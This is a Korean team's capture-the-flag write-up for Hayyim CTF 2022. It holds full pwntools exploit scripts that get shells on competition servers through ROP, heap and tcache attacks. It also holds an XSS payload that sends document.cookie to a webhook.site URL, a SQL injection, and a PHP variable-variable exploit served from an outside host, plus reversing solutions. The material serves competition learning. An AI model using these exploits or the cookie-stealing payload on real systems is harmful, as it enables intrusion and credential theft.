Try   HackMD

Hayyim CTF 2022 Write-up

하임이 흑화하면? 초코하임 ㅋㅋㅋㅋㅋㅋㅋㅋㅋ
멤버: 김지환, 이주창, 정현식, 최민엽

Pwn

Warmup

여러번 0x40053D로 돌리면서 스택 올리면 ld 주소가 있어서 해당 주소로 rop

from pwn import * #p = process('./warmup') elf = ELF('./warmup') libc = ELF('./libc-2.27.so')#elf.libc context.log_level='debug' p = remote('141.164.48.191', 10001) pay = 'a'*0x38 pay += p64(0x40053D) for i in range(16): p.sendafter('> ', pay) pay = 'a'*0x38 pay += p64(0x4004A0) pay += p64(0x4004B0) p.sendafter('> ', pay) p.recvuntil('a'*0x38) p.recv(8 * 13) ld = u64(p.recv(8)) log.info('0x%x' % ld) pause() poprdi = ld + 0x00000000000017fb poprsi = ld + 0x00000000000012a9 poprdx_rbx = ld + 0x000000000000119f newpay = p64(0x40053D)*0x10 p.send(newpay) pay = '/bin/sh\x00' + 'a'*0x30 pay += p64(poprdi) + p64(1) pay += p64(poprsi) + p64(0x600FE0) pay += p64(poprdx_rbx) + p64(0x8) + p64(0) pay += p64(0x4004A0) pay += p64(0x40053D) pay += p64(0)*0x3 p.sendafter('> ', pay) write = u64(p.recv(8)) libcbase = write - libc.symbols['write'] log.info('0x%x' % libcbase) pause() pay = '/bin/sh\x00' + 'a'*0x30 pay += p64(poprdi) + p64(libcbase + next(libc.search('/bin/sh'))) pay += p64(0x40057D) pay += p64(poprsi) + p64(0) pay += p64(poprdx_rbx) + p64(0) + p64(0) pay += p64(libcbase + libc.symbols['execve']) p.sendafter('> ', pay) p.interactive()

Flag: hsctf{0rigin4l_inpu7_1eng7h_w4s_0x60}

Cooldown

길이 제한 유념하면서 warmup 페이로드 바꿔주자

from pwn import * #p = process('./Cooldown') elf = ELF('./Cooldown') libc = ELF('./libc-2.27.so')#elf.libc context.log_level='debug' p = remote('141.164.48.191', 10005) pay = 'a'*0x38 pay += p64(0x40053D) for i in range(26): p.sendafter('> ', pay) pay = 'a'*0x38 pay += p64(0x4004A0) pay += p64(0x4004B0) p.sendafter('> ', pay) p.recvuntil('a'*0x38) p.recv(8 * 3) ld = u64(p.recv(8)) log.info('0x%x' % ld) pause() poprdi = ld + 0x00000000000017fb poprsi = ld + 0x00000000000012a9 poprdx_rbx = ld + 0x000000000000119f newpay = p64(0x40053D)*0xa p.send(newpay) pay = '/bin/sh\x00' + 'a'*0x30 #pay += p64(poprdi) + p64(1) pay += p64(poprsi) + p64(0x600FE0) pay += p64(0x4004A0) pay += p64(0x40053D) ''' pay += p64(poprdx_rbx) + p64(0x8) + p64(0) pay += p64(0x40055D) ''' print(hex(len(pay))) p.sendafter('> ', pay) write = u64(p.recv(8)) libcbase = write - libc.symbols['write'] log.info('0x%x' % libcbase) pause() pay = '/bin/sh\x00' + 'a'*0x30 pay += p64(libcbase + 0x0000000000001b96) + p64(0x200) pay += p64(0x4004B0) p.sendafter('> ', pay) pay = 'a'*0x38 + 'b'*24 pay += p64(poprdi) + p64(libcbase + next(libc.search('/bin/sh'))) pay += p64(0x40057D) pay += p64(poprsi) + p64(0) pay += p64(poprdx_rbx) + p64(0) + p64(0) pay += p64(libcbase + libc.symbols['execve']) p.send(pay) p.interactive()

Flag: hsctf{ACB31ABDE038159C3D7949CFC01CE100}

Memory Manager

oob read, write로 rax에 calloc 주소 저장 후 sub로 system으로 만들고 free의 got를 system으로 덮으면 된다.

from pwn import * p = remote('39.115.110.8', 5859)#process('./MemoryManager') p.sendlineafter('> ', '/bin/sh\x00') opcode = b'\x00\x30\x00\x41\x00\xde' # add data to rax opcode = b'\x00\x30\x00\x28\x00' + p64(0xffffffffffffef60) # oob read calc opcode += b'\x08\x08\x31\x00' # leak opcode += b'\x05\x30\x00\x30\x00\x44\x00' + p32(0x49880) # 5 calloc -> system opcode += b'\x08\x31\x00' # leak opcode += b'\x03' + b'\x28\x00' + b'\x30\x00' + p64(0xffffffffffffef38) + b'\x01' opcode += b'\x09' pause() p.sendlineafter('> ', opcode) p.interactive()

Flag: hsctf{Thank_you_for_solving_the_very_tedious_VM_Challenge}

cenarius

environ 릭해서 stack에 rop. tcache Stashing 사용해서 임의 주소 할당 가능

from pwn import * import os elf = ELF('./cenarius') libc = elf.libc while True: p = remote('141.164.48.191', 10002)#process('./cenarius') p.sendafter('$ ', 'set a=1') p.sendafter('$ ', 'unset a') p.sendafter('$ ', 'set b=') p.sendafter('$ ', 'echo b') p.recvuntil('b: ') leak = u64(p.recvline()[:-1].ljust(8,b'\x00')) heapbase = leak << 12 log.info('[HEAP] 0x%x' % heapbase) p.sendafter('$ ', 'unset b') p.sendafter('$ ', 'set c=' + 'a'*0x410) p.sendafter('$ ', 'set d=1') p.sendafter('$ ', 'unset c') p.sendafter('$ ', b'echo ' + p64(leak)) context.log_level='debug' p.recvuntil(': ') leak = u64(p.recvline()[:-1].ljust(8,b'\x00')) libcbase = leak - 0x218cc0 log.info('[LIBC] 0x%x' % libcbase) for i in range(0x10): p.sendafter('$ ', f'set {i}=') for i in range(0x20): p.sendafter('$ ', f'set adt{i}=' + 'a'*0x1f) for i in range(1, 8): p.sendafter('$ ', f'unset {i}') p.sendafter('$ ', 'unset 0') p.sendafter('$ ', 'unset 9') print('0x%x' % (heapbase >> 12)) p.sendafter('$ ', b'unset ' + p64(heapbase >> 12)) for i in range(0x20): p.sendafter('$ ', f'unset adt{i}') for i in range(7): p.sendafter('$ ', f'set ad{i}=') target = libcbase + libc.symbols['environ'] -0x8#+ libc.symbols['__free_hook'] -0x20 -8 print('0x%x' % target) enc = target ^ ((heapbase + 0x2f0) >> 12) enc |= 15 enc -= 15 print('0x%x' % enc) p.sendafter('$ ', b'set qq=' + p64((enc))) p.sendafter('$ ', b'set qqq=' ) p.sendafter('$ ', b'set qqqq=' ) p.sendafter('$ ', b'set qqqqq=' + b'a'*0x10) d = p.recv(2) if b'$' in d: p.send('echo qqqqq') p.recvuntil('a'*0x10) stack = u64(p.recvline()[:-1].ljust(8, b'\x00')) log.info('[STACK] 0x%x' % stack) ret = stack - 0x670 p.sendafter('$ ', f'set rere1=' + 'a'*0x1f) p.sendafter('$ ', f'set rere2=' + 'a'*0x1f) p.sendafter('$ ', f'set rere3=' + 'a'*0x1f) for i in range(10): p.sendafter('$ ', f'set zz{i}=' + 'a'*0x5f) for i in range(1, 8): p.sendafter('$ ', f'unset zz{i}') p.sendafter('$ ', 'unset zz0') p.sendafter('$ ', 'unset zz8') target = ((heapbase + 0x1100) >> 12) ^ (heapbase + 0xfa0) print('0x%x' % target) p.sendafter('$ ', b'unset ' + p64(target)) p.sendafter('$ ', f'unset rere1') p.sendafter('$ ', f'unset rere2') p.sendafter('$ ', f'unset rere3') for i in range(7): p.sendafter('$ ', f'set adzz{i}=' + 'a'*0x5f) target = ret -0x8#+ libc.symbols['__free_hook'] -0x20 -8 print('0x%x' % target) enc = target ^ ((heapbase + 0x1400) >> 12) #enc |= 15 #enc -= 1 print('0x%x' % enc) p.sendafter('$ ', b'set yy=' + p64((enc)) + b'\x00' * (0x5f-8)) p.sendafter('$ ', b'set yyy=' + b'\x00'*0x5f ) p.sendafter('$ ', b'set yyyy='+ b'\x00'*0x5f ) pause() pay = b'a'*8 pay += p64(libcbase + 0x000000000002e6c5) pay += p64(libcbase + next(libc.search(b'/bin/sh'))) pay += p64(libcbase + 0x000000000002e6c5 + 1) pay += p64(libcbase + libc.symbols['system']) pay += b'\x00' * (0x5f - len(pay)) p.sendafter('$ ', b'set yyyyy=' + pay) p.interactive() else: p.close()

Flag: hsctf{503d5ee5adf0e8c50463daaac5f20e0e}

HNote

소스코드 기준 185번째줄 mgr->ptr = make_unique<Note>(); 여기서 uaf가 난다.
이걸로 임의 ptr 조작을 만들어서 aar, aaw로 익스플로잇 하면 된다.

from pwn import * import time def add(name, content): p.sendlineafter('> ', '1') time.sleep(0.2) p.sendafter('> ', name) time.sleep(0.2) p.sendafter('> ', content) time.sleep(0.2) def delete(name): p.sendlineafter('> ', '2') time.sleep(0.2) p.sendafter('> ', name) time.sleep(0.2) def edit(name, content): p.sendlineafter('> ', '3') time.sleep(0.2) p.sendafter('> ', name) time.sleep(0.2) p.sendafter('> ', content) time.sleep(0.2) def view(): p.sendlineafter('> ', '4') time.sleep(0.2) p = remote('39.115.110.8', 7777) #p = process('./HNote') libc = ELF('./libc-2.31.so') context.log_level = 'debug' add('a', 'a') # real add('a', 'a') # dup add('b', 'a'*0x10) # real add('b', 'a'*0x10) # dup add('c', 'a') # real add('c', 'a') # dup add('d', 'a') # real add('d', 'a') # dup add('c', 'asdf') delete('c') add('b', 'c'*0xa0) add('a'*0x40, 'b'*0x40) # real add('c'*0x10, 'd'*0x40) # real add('e'*0x10, '\x00'*0x7) # fake chunk go, real view() p.recvuntil('c'*0xa0) p.recvuntil('Content > ') leak = u64(p.recv(6).ljust(8, b'\x00')) print('0x%x' % leak) heapbase = leak - 0x123d0 log.info('[heapbase] 0x%x' % heapbase) pause() edit('e'*0x10, p64(heapbase + 0x12000 - 0x8) + p64(heapbase + 0x12000)) edit(p8(0x21), p64(heapbase + 0x11f70) * 2 + p8(1)) add('leakhere', 'a'*0x110) # real add('asrrdf', b'a'*(16 * 53) + (p64(0) + p64(0x21)) * 10) # real add('asrrdf2', b'a'*(16 * 53) + (p64(0) + p64(0x21)) * 10) # real #add('a', 'asdf') # 0 edit('e'*0x10, p64(heapbase + 0x12410 - 0x8) + p64(heapbase + 0x12410 - 0x8)) edit(p16(0x121), p16(0x561)) edit('leakhere', b'a'*240 + p64(heapbase + 0x12530 + 0x10 + 8) + p64(heapbase + 0x12530 + 0x10) + b'd'*32) #edit('e'*0x10, p64(heapbase + 0x12540) + p64(heapbase + 0x12540)) view() p.recvuntil('eeeeeeeeeeeeeeee') p.recvuntil('Content >') p.recvuntil('Content > ') leak = u64(p.recv(6).ljust(8, b'\x00')) libcbase = leak - 0x1ebbe0 log.info('[libcbase] 0x%x' % libcbase) pause() edit('eeeeeeeeeeeeeeee', p64(heapbase + 0x12410 - 0x8) + p64(libcbase + libc.symbols['environ'] )) view() p.recvuntil('cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc') p.recvuntil('Content > ') leak = u64(p.recv(6).ljust(8, b'\x00')) print('0x%x' % leak) ret = leak - 0x130 edit('eeeeeeeeeeeeeeee', p64(heapbase + 0x12410 - 0x8) + p64(ret)) view() p.recvuntil('cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc') p.recvuntil('Content > ') leak = u64(p.recv(6).ljust(8, b'\x00')) print('0x%x' % leak) binbase = leak - 0x22a2 edit('eeeeeeeeeeeeeeee', p64(heapbase + 0x12410 - 0x8) + p64(libcbase + 0x1ec6a0)) edit(p16(0x131), 'sh;') edit('eeeeeeeeeeeeeeee', p64(heapbase + 0x12410 - 0x8) + p64(libcbase + 0x1ED500)) edit(p16(0x131), p64(libcbase + libc.symbols['system'])[:-2]) #edit(p16(0x131), p64(libcbase + 0xe6c84)[:-2]) p.interactive()

Flag: hsctf{Using_STL's_raw_P0in7ers_is_R1sky}

Web

Not-E (First blood)

formatQuery가 param에 format string인 ?가 있는지 없는지 검증을 안한다. 이걸로 쿼리를 좀 많이 망가뜨릴 수 있는데, 다음과 같은 호출을 생각하자.

formatQuery("insert into posts values (?, ?, ?, ?)", ["noteid", "?", ",aaaaaaaa", "userid"]);
이러면 두번째 ?가 바뀌게 되면서 insert into posts values ("noteid", "?", ?, ?)가 된다

이 대 다시 치환이 되면서

insert into posts values ("noteid", "",aaaaaaa"", ?, ?) 가 되니까, aaaaaaa 대신에 (select flag from flag), 'payload') -- 하면 (payload = 유저아이디)

insert into posts values ("abc", "",(select flag from flag),'payload') -- "", ",asdf", ?)

요게 되면서 플래그가 select 돼서 content로 들어온다

Flag: hsctf{038d083216a920c589917b898ff41fd9611956b711035b30766ffaf2ae7f75f2}

Cyberchef

Github Issue를 보자.
CyberChef #1265

와!

http://cyberchef:8000/#recipe=Scatter_chart(%27Line%20feed%27,%27Space%27,false,%27%27,%27%27,%27red%22%3E%3Cscript%3Elocation.href%3D(%5C%27https://webhook.site/7bc1142c-3349-4a34-af54-3c5bb992fda1/a%3D%5C%27%2Bbtoa(document.cookie));%3C/script%3E%27,100,false)&input=MTAwLCAxMDA

Flag: hsctf{fa98fe3d32b4302aff1c322c925238a9d935b636f265cbfdd798391ca9c5a905}

wasmup

heap overflow가 있다. 적당히 unlink 해서 process.exit(1)를 원하는 커맨드로 덮어주면 된다.

from pwn import * def add(index, size, data): p.sendlineafter('>\n', '1') p.sendlineafter('>\n', str(index)) p.sendlineafter('>\n', str(size)) p.sendlineafter('>\n', data) def addTrick(index, size): p.sendlineafter('>\n', '1') p.sendlineafter('>\n', str(index)) p.sendlineafter('>\n', str(size)) def edit(index, data): p.sendlineafter('>\n', '2') p.sendlineafter('>\n', str(index)) p.sendlineafter('>\n', data) def delete(index): p.sendlineafter('>\n', '3') p.sendlineafter('>\n', str(index)) p = remote('1.230.253.91', 2000)#process(['node', 'app.js']) print(add(0, 0x20, 'AAAA')) print(add(1, 112, 'bbbb')) print(add(2, 112, 'CCCC')) addTrick(0, 0x7fffffff) delete(1) pay = b'c2w2m2' + b'a'*26 pay += p32(0) + p32(112 | 1) pay += p32(0x47f - 8) * 2 pay += b'\x00'*16 pay += p32(0) + p32(112 | 2) edit(0, pay) add(1, 112, 'asdf') add(1, 112, "....console.log(require('fs').readFileSync('/flag','utf-8'))") p.interactive()

Flag: hsctf{eafda550f231ca524b1eea2cea0e4ba5a880af64f72ac2ed3ae4c2f44ba96fe9}

Cyberheadchef

chart -> cha%00rt

오잉 이게 왜 되지?

Flag: hsctf{be9e5b8bce203e203597dca3d67e0f7a38e359a9ab7799988e888be073c78da0}

Gnuboard

/shop/inicis/inistdpay_result.php 를 보면

echo "## 망취소 API 결과 ##"; $netcancelResultString = str_replace("<", "&lt;", $$netcancelResultString); $netcancelResultString = str_replace(">", "&gt;", $$netcancelResultString); echo "<pre>", $netcancelResultString . "</pre>"; // 취소 결과 확인

가 있다. php의 $x = "a"; $$x == $a 임을 잘 이용하면 $flag를 접근할 수 있을 것 같다.

기본적으로 그누보드는 모든 request에 대해 extract를 수행하고 있으므로, 첫번째 netcancelResultString 의 replace 결과가 어떤 변수를 가리키게 하고, 그 변수를 flag로 지정해주면 $flag가 출력될 것 같다.

일단, 망 취소 flow에 도달해야하므로, resultCode를 0000으로, authUrl을 접근 불가능 한 값으로 주고, netCancelUrl을 우리가 지정하면 된다. 이 때, HttpClient를 잘 보면 포트 설정이 조금 이상한거 같으니 SSL이 설정된 서버로 보내자. 우리의 페이지가 'x'를 가리키게 하고, 해당 endpoint에 POST parameter로 x=flag를 주면 $netcancelResultString이 'x' -> 'flag' -> 실제 flag 순으로 바뀌게 되어 취소 결과 확인에서 출력될 것이다.

<?php // hayyim.php, served on https://whoami.eyes-on.me echo "x";
POST /shop/inicis/inistdpay_result.php HTTP/1.1
Host: 1.230.253.91:5000
Cookie: cookie...
Content-Type: application/x-www-form-urlencoded
Content-Length: 114

resultCode=0000&netCancelUrl=https://whoami.eyes-on.me/hayyim.php?&authToken=a&authUrl=http://1.23.456.7/x&x=flag

Flag: hsctf{799c12711fd9d697a00ae3e6329a7979cc648d7cdae0fbb3d62f23a1f7c7f544}

Rev

Breakable

jadx로 까보면 실제로 하는 일은 libmyctf.so의 함수 initcheck를 사용한다는 것을 알 수 있다.

init은 XOR을 통한 string들의 난독화가 이뤄져있는데, 하나씩 복호화해보면 signature를 bytearray로 가져와 check 코드 영역과 XOR을 하여 암호화된 check 영역을 복호화하는 것을 알 수 있었다.

Signature를 가져올 때는 jadx에서 signature의 raw값을 가져올 수 없어서 임시 방편으로 다음과 같이 탐색했다.

with open('breakable/META-INF/CTFKEY.RSA', 'rb') as f: key = f.read() for x in range(len(key)): for y in range(x + 200, len(key)): t = hashlib.sha256(key[x:y]).hexdigest() if t.startswith('923dfec6'): print(x, y) print(t)

이를 통해 가져온 signature 값과 XOR하여 check 함수를 복구하면, table이 뒤섞인 base64를 사용하여 input을 바꾼 뒤 갖고 있는 값과 단순 비교하는 것을 알 수 있다. 이를 푸는 코드는 다음과 같다.

import string, base64 table = '60707c1f1775013e10071a3a210d20351e733f230e317805' table += '2c2004636c08250011226225360921133d3c6a1a02281c01' table += '3c26612e0c160312302a0a24322e6015' table = bytearray.fromhex(table) for i in range(len(table)): table[i] ^= b'\x54\x45\x53\x54'[i % 4] print(table) target = string.ascii_uppercase + string.ascii_lowercase + string.digits + '+/' mp = dict(zip(table, target.encode())) mp[ord('=')] = ord('=') output = '032f1b2519173624032f273d3a74371b3a7437151e6e3c36' output += '6c37382d3175382e316e1b076c371f0c2231383963156507' output += '6317270003141b0063372704311411006c1563263129371b' output += '3a020b69' output = bytearray.fromhex(output) for i in range(len(output)): output[i] ^= b'\x54\x45\x53\x54'[i % 4] for i in range(len(output)): output[i] = mp[output[i]] print(base64.b64decode(output))

Flag: hsctf{huh.....?Android_security_module_is_never_safe...}

Ouroboros

Base36 (digits + 알파벳 대문자)의 16글자 input을 받은 뒤, 각 글자를 6x6 좌표 평면 상의 점들로 치환한다. 그리고 (5, 5), (0, 5) 두 점과 함께 이 점들을 연달아 이었을 때, 가로 세로 선만으로 구성된 회로를 구성해야 한다.

그리고 이 회로의 조건을 검증하는 함수가 있다. 이 함수에서는 특정 좌표를 확인해, 그 좌표에 점이 있는지 선이 있는지, 그리고 그 좌표를 기준으로 상하좌우로 선이 몇 개가 그어져있는지 확인한다.

주어진 조건을 바탕으로 풀어보면 다음과 같다. (주황: 해당 좌표에 점이 있어야 함. 초록: 해당 좌표에 선이 있어야 함.)

이를 input으로 다시 변환한다.

sol = [ (0, 4), (1, 4), (1, 3), (0, 3), (0, 2), (1, 2), (1, 0), (5, 0), (5, 1), (4, 1), (4, 2), (3, 2), (3, 1), (2, 1), (2, 4), (5, 4) ] ans = b'' for x, y in sol: v = x * 6 + y if v < 10: ans += bytes([v + 48]) else: ans += bytes([v + 55]) print(ans)

이를 통해 구한 입력은 4A93286UVPQKJDGY이다.

Flag: hsctf{4A93286UVPQKJDGY}

The Strangers

코드를 살펴보면 현재 시간을 바탕으로 srand()를 한 뒤 rand()를 통해서 매칭되어야 하는 IP와 port를 구하고, 받은 패킷의 IP/port와 동일한지 비교하는 부분이 있다. 만약 동일할 경우 rand()로부터 얻은 output 한 바이트를 얻어내 저장하는데, 이를 네 번 반복해 4byte를 얻을 경우 이것이 최종 IP가 되며, 이 IP로부터 온 패킷의 port 값을 취해 실행할 command를 얻는 구조로 되어있다.

이 때 command를 전부 얻은 후 실행하면 SMB를 통해 192.168.126.255로 보내는 것을 패킷 분석을 통해 확인할 수 있다.

from ctypes import * from scapy.all import * dll = CDLL("C:\\Windows\\System32\\msvcrt.dll") def get_rands(a1, t): t = int(t) dll.srand(a1 + t - t % 0xE10) ip = [dll.rand() % 223 + 1 for _ in range(4)] ip = ".".join(map(str, ip[::-1])) port = dll.rand() return ip, port pcap = rdpcap('packet.pcapng') target, target_ip = [], None res = b'' for packet in pcap: if packet[IP].dst == '192.168.126.138': ip, port = get_rands(len(target), packet.time) if ip == packet[IP].src and port & 255 == packet[UDP].sport & 255: target.append(packet[UDP].sport >> 8) if len(target) == 4: target_ip = ".".join(map(str, target[::-1])) if packet[IP].src == target_ip: res += bytes([packet[UDP].sport & 255, packet[UDP].sport >> 8]) if packet[IP].dst == '192.168.126.255': raw = bytearray(bytes(packet[UDP])) for i in range(len(raw)): raw[i] ^= target[(1 + i) % 4] print(raw[178:]) print(res)

print(res)를 통해 실행한 command들은 다음과 같다.

dir
flag_reader
flag_reader "thank_you_for_solving_this_challenge"

print(raw[178:]) 부분을 통해 얻은 command 실행 결과들은 다음과 같다.

b'xMicrosoft Windows [Version 10.0.19044.1288]\r\n(c) Microsoft Corporation. All rights reserved.\r\n\r\nC:\\Users\\user\\Desktop>\x94'
b'x    \r\n Volume in drive C has no label.\r\n Volume Serial Number is 3231-B0A2\r\n\r\n Directory of C:\\Users\\user\\Desktop\r\n\r\n02/11/2022  01:21 AM    <DIR>          .\r\n02/11/2022  01:21 AM    <DIR>          ..\r\n02/11/2022  01:20 AM            47,104 challenge.exe\r\n02/09/2022  09:42 AM                71 flag.txt\r\n02/09/2022  01:53 PM            40,960 flag_reader.exe\r\n02/09/2022  02:28 PM           305,960 B'
b'xpacket.pcapng\r\n               4 File(s)        394,095 bytes\r\n               2 Dir(s)  43,383,029,760 bytes free\r\n\r\nC:\\Users\\user\\Desktop>\x94'
b'x            \r\n\x94'
b'xUsage: flag_reader {xor_key}\r\n\r\nC:\\Users\\user\\Desktop>\x94'
b'z\x11\xa5\x94>\x07\xf1\xdf.\r\xf2\xb9+{\xe8\xa25\t\xf7\x94pB\xa1\x84zB\xad\x95/\xe8\xa2'
b'x                                                  \r\nEncrypted Flag(hex) is 1c1b021a0d244b5b116e040d136f110908430858043c400b0f153a010d520859500c5e56125a04595c3d1b0a146a560d143e47585843085a01394d5d0811680109535f0f060b1a\r\n\r\nC:\\Users\\user\\Desktop>z'

살펴보면 flag_reader의 사용예가 Usage: flag_reader {xor_key} 이므로 아마 XOR를 통해 암호화 하는 프로그램임을 확인할 수 있다. 이를 다음 코드를 통해 복호화한다.

enc = bytearray.fromhex('1c1b021a0d244b5b116e040d136f110908430858043c400b0f153a010d520859500c5e56125a04595c3d1b0a146a560d143e47585843085a01394d5d0811680109535f0f060b1a') key = b'thank_you_for_solving_this_challenge' for i in range(len(enc)): enc[i] ^= key[i % len(key)] print(enc)

Flag: hsctf{24d1bba0bfd5a6cc4cffebe3d55b93f2e77bbea50bfa4745a4ff95ab7ba23cce}

EVMatrix

주어진 Ethereum 바이너리를 decompile 해서 알아볼 수 있게 정리해보면

#include <stdio.h>

char mem[0x1000];

int main() {

    mem[0x80] = 0xe0;
    mem[0xa0] = 0x140 //mem[0xa0] = var2;
    mem[0xc0] = 0x1a0; //mem[0xc0] = var2;

    mem[0xe0] = 0x76;
    mem[0x100] = 0x71;
    mem[0x120] = 0x60;

    mem[0x140] = 0x2d; //mem[var2] = 0x2d;
    mem[0x160] = 0x76; //mem[var3] = 0x76;
    mem[0x180] = 0x59; // mem[(var3 + 0x20)] = 0x59;

    mem[0x1a0] = 0x5; //mem[var2] = 0x5;
    mem[0x1c0] = 0x4a; //mem[var3] = 0x4a;
    mem[0x1e0] = 0x68; //mem[(var3 + 0x20)] = 0x68;

    //mem : [0xe0, 0x140, 0x1a0, 0x76, 0x71, 0x60, 0x2d, 0x76, 0x59, 0x5, 0x4a, 0x68]


    sub_158(0x3, 0x80, 0x0);

    mem[0x200] = 0x260; //mem[var0] = var2;
    mem[0x220] = 0x2e0; //mem[var1] = var2;
    mem[0x240] = 0x320; //mem[(var1 + 0x20)] = var2;

    mem[0x260] = 0x10; //mem[var2] = 0x10;
    mem[0x280] = 0x20; //mem[var3] = 0x20;
    mem[0x2a0] = 0x30; //mem[(var3 + 0x20)] = 0x30;


    mem[0x2c0] = 0x40; //mem[var2] = 0x40;
    mem[0x2e0] = 0x50; //mem[var3] = 0x50;
    mem[0x300] = 0x60; //mem[(var3 + 0x20)] = 0x60;

    mem[0x320] = 0x70; //mem[var2] = 0x70;
    mem[0x340] = 0x80; //mem[var3] = 0x80;
    mem[0x360] = 0x90; //mem[(var3 + 0x20)] = 0x90;

    //mem : [0x260, 0x2e0, 0x320, 0x10, 0x20, 0x30, 0x40, 0x50, 0x60, 0x70, 0x80, 0x90]

    sub_1AF(0x3, 0x200, 0x9); //sub_1AF(0x3, var0, 0x9); //var0 = 0x200

    if($msg.value != 0x0) {
        revert(0x0, 0x0);
    }

    codecopy(0x0, 0x38a, 0xaf8);
    return(0x0, 0xaf8);
} 

이다. 파일 용량이 그렇게 크지 않아 복잡하지는 않을 로직이라 추측하고, 프로그램 그냥 돌려보기로 했다.

Ethereum Ropsten Network에 binary랑 abi를 업로드해서 contract를 만들고 나면, ETH 위에서 해당 contract와 interaction을 할 수 있는데, 간단하게 web3를 지원하는 MetaMask + MyEtherWallet 으로 테스트 할 수 있다.

몇몇개의 테스트 벡터에 대해서 결과를 뽑아 보면

[00 00 00 00 00 00 00 00 00] -> 10 20 30 40 50 60 70 80 90
[01 00 00 00 00 00 00 00 00] -> 66 51 50 40 50 60 70 80 90
[00 01 00 00 00 00 00 00 00] -> 10 20 30 36 21 00 70 80 90
[00 00 01 00 00 00 00 00 00] -> 10 20 30 40 50 60 06 f1 f0
[00 00 00 01 00 00 00 00 00] -> 3d 56 69 40 50 60 70 80 90
[00 00 00 00 01 00 00 00 00] -> 10 20 30 6d 26 39 70 80 90
[00 00 00 00 00 01 00 00 00] -> 10 20 30 40 50 60 5d f6 c9
[02 00 00 00 00 00 00 00 00] -> fc c2 f0 40 50 60 70 80 90
[01 00 00 01 00 00 00 00 00] -> b3 c7 89 40 50 60 70 80 90
[01 00 00 00 00 00 01 00 00] -> 6b 9b f8 40 50 60 70 80 90

인데, 앞선 정적 분석에서 얻은 두 개의 key 값을 이용하여 코드를 구성하면 다음과 같다. 이는 충분히 추측 가능한 연산이다.

A, B, input, output is 3x3 matrix
A = [[0x76, 0x71, 0x60],
     [0x2d, 0x76, 0x59],
     [0x05, 0x4a, 0x68]]
B = [[0x10, 0x20, 0x30],
     [0x40, 0x50, 0x60],
     [0x70, 0x80, 0x90]]

output = input*A xor B mod 0x100

역산도 충분히 가능하지만, z3-solver를 사용해서 풀이를 작성했다.

f = open("flag.bin", "rb").read() from z3 import * flag = [] for i in range(len(f) // 9): v = list(f[9 * i: 9*i +9]) for j in range(9): v[j] ^= b[j] x = [BitVec("x%d"%(i), 8) for i in range(9)] s = Solver() for j in range(3): s.add((x[j] * a[0] + x[3+j] * a[3] + x[6+j] * a[6]) & 0xFF == v[0 + 3 * j]) s.add((x[j] * a[1] + x[3+j] * a[4] + x[6+j] * a[7]) & 0xFF == v[1 + 3 * j]) s.add((x[j] * a[2] + x[3+j] * a[5] + x[6+j] * a[8]) & 0xFF == v[2 + 3 * j]) print(s.check()) m = s.model() for j in x: flag.append(int(str(m[j]))) print(bytes(flag))

Flag: hsctf{426a394408d3365da651003e88594b5f8f7905d6c6d43f3abca47bd93bfa0b78}

ezrev

어떤 복잡한 연산을 통해서 1byte값을 구하고, 이 값을 어떤 배열에 xor을 한다음, 입력한 문자열을 base64 encode한 것과 xor되어있는 배열과 비교를 한다.

단순하게 배열에 0x00~0xFF 까지 bruteforce로 xor해가면서 base64 decode가 되고 decode했을때 hsctf로 시작하면 그게 답이다.

a = open("ezrev", "rb").read()[0x3040 : 0x306C] import base64 for i in range(0x100): t = list(map(lambda x: x ^ i, a)) try: res = base64.b64decode(bytes(t)) if res.startswith(b"hsctf"): print(res) except: pass

Flag: hsctf{thanks_for_enjoying_hsctf!}

frontdoor

init의 함수중에 /tmp/vm이라는 바이너리를 하나 더 만드는 것을 볼 수 있다.

전체적인 구성에 앞서 일단 sprintf에 들어가는 format string을 모두 encoding 을 해두어서 decode해서 읽었다.

f = 0x335D25AF4327A1B1 a = [0xD8, 0xCF, 0x41, 0x2C, 0x82, 0x42, 0x38, 0x47, 0x91, 0xC6, 0x52, 0x26, 0xDC, 0x51, 0x34, 0x5D, 0xD7, 0xCE, 0x9, 0x66, 0xDC, 0x25] # info-get guestinfo.%s f = 0x318599E5AB6103E1 a = [0x88, 0x6D, 0x7 , 0xC4, 0xC8, 0xFE, 0xE0, 0x45, 0xC1, 0x64, 0x14, 0xCE, 0x96, 0xED, 0xEC, 0x5F, 0x87, 0x6C, 0x4F, 0x8E, 0x96, 0x99] # info-get guestinfo.%s f = 0xE5673BE52FC3ED51 a = [0x38, 0x83, 0xA5, 0x40, 0xC8, 0x48, 0x2, 0x91, 0x71, 0x8A, 0xB6, 0x4A, 0x96, 0x4F, 0xE, 0x8B, 0x37, 0x82, 0xED, 0xA, 0x96, 0x1B, 0x42, 0x96, 0x51] # info-set guestinfo.%s %s for i in range(len(a)): a[i] ^= (f >> (8 * (i & 7))) & 0xFF print("".join(list(map(chr, a))))

vmware에서만 돌아간다는 것을 생각해보면 vmware에서 값을 저장하고 불러올수 있는 명령어 같이 생겼다.

일단 입력을 받고, 0x1F20에 있는 함수에서 한글자 마다 info-set guestinfo.<alphabet> <1 byte input> 이런 식으로 a부터 z까지 저장한다.
0x2060에 있는 함수에서 info-get guestinfo.<alphabet>으로 값을 불러오고 그에 해당하는 알파벳과 xor을 한다. 그 xor된 값들을 규칙없게 모아 4byte로 pack을 해서 7개의 32byte 데이터를 만들고 각각의 데이터에 적절한 32bit bitwise rotate를 한다. 마지막으로 나온 7개를 a1, a2, , a7에 저장하고 이 데이터들을 가지고 /tmp/vm 바이너리를 실행한다. /tmp/vm에서 a1, a2, , a7값을 가져와서 비교를 하고 맞았는지 확인을 해준다.

첫째로 rotate를 할때 입력값에 따라서 rotate를 얼마나 할지 달라지는데, 이는 마지막 a7의 하위 2바이트에 0x455a가 들어간다는 것을 알고 있으므로 구할 수 있다. unpack하고 배정되었던 알파벳순으로 정렬하는건 단순한 연산이니 생략하겠다.

다만 rotate를 얼마나 하는지가 분석한 결과에 따라서 하면 제대로 안나오길래 적절히 flag포맷에 맞추어 rotate 값을 잘 조절했다.

